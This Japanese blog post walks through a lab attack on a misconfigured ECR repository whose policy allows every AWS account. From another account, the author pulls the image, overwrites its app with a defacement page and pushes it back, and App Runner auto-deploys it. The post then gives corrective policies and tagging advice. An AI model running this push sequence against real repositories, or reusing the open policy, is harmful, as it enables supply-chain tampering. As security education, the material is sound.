はじめに
kyonosukeです。
本記事ではECRの設定ミスとそれによって発生しうる攻撃、そしてその対策を記載します。
目次
いきなりまとめ
プライベートリポジトリだからといって安心してリポジトリポリシーの設定を誤ると、余裕で外部からアクセスされるので気を付けよう!
コード紹介
今回テーマとして取りあげるアーキテクチャはCDKで定義しています。Githubへのリンクを置いておくので気軽に検証にお使いください。悪意のある攻撃者がECRに不正アクセスすることでアプリケーションを更新することができる構成になっています。
アーキテクチャ紹介
今回のアーキテクチャは以下の通りです。
- ECR
- プライベートリポジトリで作成
- リポジトリポリシーですべてのアカウントからの操作を許可している
-
latestタグを使用 - イメージタグは
Mutable
- App Runner
- Webサービスをホスト
- ユーザはApp Runnerのデフォルトドメインでアクセス
- デプロイ設定は
自動デプロイに設定
攻撃者がプライベートなECRに不正アクセスをしてコンテナイメージを改ざんすることで、App RunnerでホストしているWebアプリに攻撃をするというストーリーです。
不正アクセスしてみる
さっそく検証をしましょう。今回は攻撃先のAWSアカウントが分かっており、ECRリポジトリ名はある程度推測できるという前提で進めます。
以下コマンドでデプロイします。
# リポジトリをクローン
git clone https://github.com/kyo-tsun/Vulnerable-ECR.git
cd Vulnerable-ECR
# 依存関係をインストール
npm install
# CDKでデプロイ
npx cdk deploy --profile
CFnOutputかCloudFormationの出力タブからApp Runnerのurlを取得してブラウザに貼り付けます。
Outputs:
PrivateEcrStack.AppRunnerUrl = https://XXXXXXXXX.ap-northeast-1.awsapprunner.com
簡易的なWebアプリが表示されるはずです。App Runnerはネットワークを考えなくていいので検証にとても便利。
ではこの環境に対して不正アクセスをしてみましょう。
別のAWSアカウントを用意し、CloudShellを起動します。
ECRへのログインコマンドを実行します。
$ aws ecr get-login-password --region ap-northeast-1 | docker login --username AWS --password-stdin XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /home/cloudshell-user/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
そうしたらDockerイメージを取得します。
Webアプリ画面のタイトルを参考にリポジトリ名を推測します。
$ docker image pull XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
latest: Pulling from vulnerable-app
b96413fb491a: Pull complete
f5f7ec28452e: Pull complete
1f4b7af3d5b2: Pull complete
5b8b459b5346: Pull complete
8c297c675cbd: Pull complete
4db3adcfa345: Pull complete
04df73205e49: Pull complete
ddaccbf8c35f: Pull complete
Digest: sha256:ddc115f7bb4e08bf3b0646361620a04a11242f645d9e6ebea2a4bdbe77ebb2bb
Status: Downloaded newer image for XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
pullできたか確認します。
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app latest 3bfc0a473c97 23 hours ago 142MB
アプリのコンテナイメージを取得することができました。
ではこれを書き換えましょう。
まず改ざん用のアプリケーションファイルを作成します。
$ cat > hacked-app.py << 'EOF'
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello():
return '''
<h1>🚨 HACKED! 🚨</h1>
<p>Version: 2.0.0 (COMPROMISED)</p>
<p>Status: PWNED BY ATTACKER</p>
'''
@app.route('/health')
def health():
return {'status': 'compromised'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
EOF
次にDockerfileを作成します。
$ cat > Dockerfile.hacked << 'EOF'
FROM XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
# 改ざんしたアプリケーションファイルを上書き
COPY hacked-app.py /app/app.py
EOF
作成したDockerfileでイメージをビルドします。
$ docker build -f Dockerfile.hacked -t hacked-app .
[+] Building 1.9s (7/7) FINISHED docker:default
=> [internal] load build definition from Dockerfile.hacked 0.0s
=> => transferring dockerfile: 276B 0.0s
=> [internal] load metadata for XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load build context 0.1s
=> => transferring context: 446B 0.0s
=> [1/2] FROM XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest 0.2s
=> [2/2] COPY hacked-app.py /app/app.py 0.8s
=> exporting to image 0.9s
=> => exporting layers 0.8s
=> => writing image sha256:037c7f329d12cfac3bb40c89341782cd5a29c6836821a525d096e1dc0dd70968 0.0s
=> => naming to docker.io/library/hacked-app
イメージの確認をします。
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
hacked-app latest 037c7f329d12 46 seconds ago 142MB
XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app latest 3bfc0a473c97 23 hours ago 142MB
作成されていますね。
そうしたらECRにpushします。
$ docker tag hacked-app XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
$ docker push XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
The push refers to repository [450988964145.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app]
111f7e6643fd: Pushed
5308649b9fc3: Layer already exists
fe1e1477eb41: Layer already exists
1d6bcdb79543: Layer already exists
f7aee1632fdb: Layer already exists
066418b3f856: Layer already exists
a72fb8065c60: Layer already exists
fb1a3962b6aa: Layer already exists
1d46119d249f: Layer already exists
latest: digest: sha256:768cc8db0ab995a177d4447166b4d8205fa010d68689b7f0f8f00c1aec84538e size: 2197
pushできましたね。するとApp Runnerのコンソールで更新が実施されていることが分かります。
現状の設定では自動デプロイを有効化しているので、コンテナイメージが最新化されると勝手にアプリケーションが更新されます。
数分待つとステータスが完了になるので再度Webアプリにアクセスします。
ばっちり改ざんができました!
対処法
ではなぜこのような攻撃が成立してしまうのでしょうか。ECRの設定ミスの対処法を確認しましょう。
リポジトリポリシー
リポジトリポリシーの修正
現在のリポジトリポリシーは以下のような設定になっています。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"ecr:BatchCheckLayerAvailability",
"ecr:PutImage",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload"
]
}
]
}
このポリシーは、すべてのAWSアカウントからのECRアクションを許可する、という設定になっています。そのため、別アカウントからのCloudShell経由でコンテナイメージのpullやpushが成功してしまいました。
つまり、このようなリポジトリポリシーを設定しているECRは、プライベートリポジトリとは名ばかりのオープンなリポジトリと言えます。
本来であればECRにアクセスできるアカウントを必要最低限に絞り、意図しないアクセスを防ぐべきです。以下に例を示します。
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowSpecificAccount",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111111111111:root"
},
"Action": [
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"ecr:BatchCheckLayerAvailability",
"ecr:PutImage",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload"
]
}
]
}
では実際に設定してみましょう。許可 > ポリシーJSONの編集 から以下のように編集します。
再度攻撃してみる
上記同様、別アカウントからコンテナイメージのpullを試してみます。
$ docker image pull XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app:latest
Error response from daemon: pull access denied for XXXXXXXXXXXX.dkr.ecr.ap-northeast-1.amazonaws.com/vulnerable-app, repository does not exist or may require 'docker login': denied: User: arn:aws:sts::XXXXXXXXXXXX:assumed-role/AWSReservedSSO_AWSAdministratorAccess_XXXXXXXXXXXXXXXX/XXXXXXXXXX@XXXXX.com is not authorized to perform: ecr:BatchGetImage on resource: arn:aws:ecr:ap-northeast-1:XXXXXXXXXXXX:repository/vulnerable-app because no resource-based policy allows the ecr:BatchGetImage action
ちゃんとECRに対するアクションを拒否することができました。このようにECRをマルチアカウントで使う場合は、アクセスできるAWSアカウントを絞るべきです。
イミュータビリティ
現在はイメージタグがMutable、つまりイメージタグ名を上書きできる設定になっています。これは開発環境などでは便利なのですが本番環境で設定するのはお勧めしません。ロールバックが難しくなったり、ソースコードとコンテナイメージに一貫性がなくなり、問題が発生したときに原因の特定が難しくなるからです。
よく見かけるのは今回のようにlatestやstagingを常に使う運用ですが、タグ名をImmutableに設定することで分かりやすいタグ名を付けることを強制できます。開発チームの文化にもよりますが、できれば対応するべきです。
今回の場合ではMutableになっていることでlatastが更新されたことに気が付かず、意図しないアプリケーションの更新が生じてしまいました。セキュリティ的な観点からもタグの上書きはなくしましょう。
この設定ミスに関してはSecurity Hubで検知ができるので、発報したら対応するようにしましょう。
さいごに
ここまでコード化したApp Runner - ECR環境をテーマに、ECRの設定ミスを突いた攻撃とその対策をまとめました。コンテナアプリの意図しない変更や攻撃を防ぐためにも、コンテナだけではなくECRの設定にも気を配りましょう。
この記事がどなたかの役に立てれば幸いです。
参考





